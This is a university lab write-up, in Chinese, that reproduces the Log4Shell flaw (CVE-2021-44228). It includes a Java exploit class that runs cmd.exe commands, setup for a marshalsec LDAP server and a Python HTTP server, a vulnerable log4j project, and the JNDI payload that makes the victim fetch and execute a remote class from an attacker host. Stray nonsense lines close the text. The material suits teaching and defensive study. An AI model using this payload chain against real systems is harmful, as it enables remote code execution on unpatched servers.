前言:这是安徽大学 “漏洞分析实验”(大三秋冬)期中作业归档。代码及ppt托管于Github: https://github.com/Super-Binary/cve-2021-44228
目录:
一、攻击环境搭建
本次使用的攻击环境如下:
- Ubuntu 22.04.1 LTS VPS
- Apache Maven 3.6.3
- OpenJDK 1.8.0_422(即Java8)
- Python 3.10.6
- 放行端口8888(TCP,http服务器端口)
- 放行端口1389(TCP,LDAP服务端口)
首先在测试用目录(出于方便在此使用/root/test)下创建一个漏洞利用类Exploit.java如下:
import java.io.IOException;
/**
* @author KaleidScoper
*/
public class Exploit {
static {
try {
Runtime.getRuntime().exec("cmd.exe /c mshta vbscript:msgbox(\"少爷,该启动原神了\",64,\"来自log4j的消息\")(window.close)");
String shortcutPath = "C:\\Users\\此处填写用户文件夹名\\Desktop\\原神.lnk";
Runtime.getRuntime().exec("cmd.exe /c start " + shortcutPath);
} catch (Exception e) {
e.printStackTrace();
}
}
}
然后使用javac命令将其编译为Exploit.class待用。其中写入的两条cmd命令是针对Windows系统的,如果你的受害环境没有使用Windows,请按需将其更改。在本例中,第一条指令打开了Windows消息窗口显示文本,第二条指令启动了位于桌面的一个快捷方式。
然后我们启动一个临时python http服务器,挂在后台运行:
python -m http.server 8888 &
Bash使用ps命令可以看到该进程(显示为python)的进程号。
现在使用marshalsec搭建LDAP服务。首先从Github下载该工具:
git clone https://github.com/mbechler/marshalsec.git
Bash假设你的VPS无法访问Github,可以直接自己去克隆这个库,然后用ftp之类的工具上传至VPS也是一样的效果,不再赘述。假设你已经成功下载了marshalsec。
现在进入marshalsec文件夹:
cd marshalsec
Bash跳过测试,并编译该工具:(mvn命令可通过apt install maven安装)
mvn clean package -DskipTests
Bash现在启动LDAP服务,攻击环境就搭建完毕了:(这个就不必后台运行了)
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://IP地址:8888/#Exploit"
其中“IP地址”改为你使用的攻击者VPS的ip地址;8888为python服务器的监听端口。
LDAP的默认监听端口为1389,故构建以下攻击Payload:
${jndi:ldap://IP地址:1389/Exploit}
稍后我们将把它输入受害者程序来完成攻击。
二、受害环境搭建
本次使用的受害环境如下:(也就是我的电脑)
- Windows 11
- Apache Maven 3.9.9
- OpenJDK 1.8.0_261
首先在测试用目录(出于方便在此使用D:\test)下创建一个mvn项目配置文件pom.xml如下:
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<properties>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
</properties>
<groupId>com.example</groupId>
<artifactId>log4j-demo</artifactId>
<version>1.0-SNAPSHOT</version>
<dependencies>
<!-- Log4j Core -->
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.14.1</version>
</dependency>
<!-- Log4j API -->
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>2.14.1</version>
</dependency>
</dependencies>
<build>
<plugins>
<plugin>
<groupId>org.codehaus.mojo</groupId>
<artifactId>exec-maven-plugin</artifactId>
<version>3.0.0</version>
<configuration>
<!-- 主类名称 -->
<mainClass>log4j</mainClass>
</configuration>
</plugin>
</plugins>
</build>
</project>
在该配置文件中使用了log4j-core 2.14.1和log4j-api 2.14.1,是受CVE-2021-44228影响的log4j版本。此处将主类名称定义为即将编写的log4j类。
mvn项目除了需要一个pom.xml配置文件,还需要我们手动在D:\test目录下再创造一个路径src\main\java。然后在此新建路径下创建受害者程序主类log4j.java,目前为止的完整文件树状图如下:
D:\test
├───src
│ └───main
│ └───java
│ └───log4j.java
└───pom.xml
创建的log4j.java文件内容如下:
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
/**
* @author KaleidScoper
*/
public class log4j {
private static final Logger logger = LogManager.getLogger(log4j.class);
public static void main(String[] args) {
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
logger.error("${jndi:ldap://testgames.me:1389/Exploit}");
}
}
实际情况下,攻击语句 ${jndi:ldap://testgames.me:1389/Exploit} 应该是由恶意用户输入的。但为了方便演示,在此处,我们是将攻击语句硬编码入受害程序的,效果是一样的。
现在我们编译并运行此程序:
mvn compile exec:java
Bash如果你的http服务、LDAP服务运行正常,远程Exploit就会立即执行。
三、漏洞原理
LDAP(Lightweight Directory Access Protocol,轻型目录访问协议)是一个开放的、中立的、工业标准的应用协议,通过 TCP/IP 协议提供访问控制和维护分布式信息的目录服务,可以通过 LDAP 协议来访问网络资源,可以看成一个树形的数据库。
JNDI 的目的是通过名称 / 目录获取对象,而远程读取的一般是编译后的 .class 文件所以在 lookup 时会进行类加载,JVM 将其加载为 Java 类。而当 ClassLoader 加载 .class 文件的时候会调用类的 clinit 方法,执行类的静态代码。因此如果可以控制 JNDI lookup 的 URL,便可以任意加载远程类,执行恶意代码,这也就是 JNDI 注入原理。
但是 JNDI 注入受到 JDK 配置限制,如果 com.sun.jndi.xxx.object.trustURLCodebase 这一配置是 false 时则不会信任 URL 从而无法进行 JNDI 注入。在 JDK 11.0.1、8u191、7u201、6u211 等版本中这一配置默认是 true,而从 6u132、7u122、8u113 开始,这一配置默认为 false(因此后面使用高版本 JDK 复现时要手动开启这一配置)
CVE-2021-44228 即是通过 log4j 来实现了 JNDI 注入。log4j 可以通过 ${} 语法来获取动态内容并输出到日志中,其中对于每个 ${} 部分使用 lookup 方法来解决变量,其中也提供了 JndiLookup,也就是说可以使用 JNDI 来读取内容,形如 ${jndi:…}。这时就存在 JNDI 注入。
而大部分使用 log4j 来记录日志的网络应用都会记录用户的输入,比如搜索网站会记录用户搜索的内容,这时如果用户输入的是 ${jndi:…}(比如 ${jndi:ldap://ip:port/…}) 就会进行 JndiLookup,实现 JNDI 注入,这也就是 CVE-2021-44228 这个漏洞的原理。
四、Q&A
Q:受害者应用启动成功,但是直接以文本输出了攻击Payload [log4j.main()] ERROR log4j – ${jndi:ldap://testgames.me:1389/Exploit} 这是为什么?
A:这可能说明你的http服务、LDAP服务运行不正常,或者只是单纯的网络问题。在受害者环境,你可以在浏览器访问http://你的VPS地址:8888/Exploit.class,如果触发了文件下载,说明此项服务正常开启;对于LDAP,你可以使用命令telnet 你的VPS地址 1389来测试受害者能否与此端口通信。当发现无法连接时,请试着重新启动攻击者的两个服务、或者查看8888与1389端口是否正确放行。
uii1j0
芝士雪豹
阿巴阿巴阿巴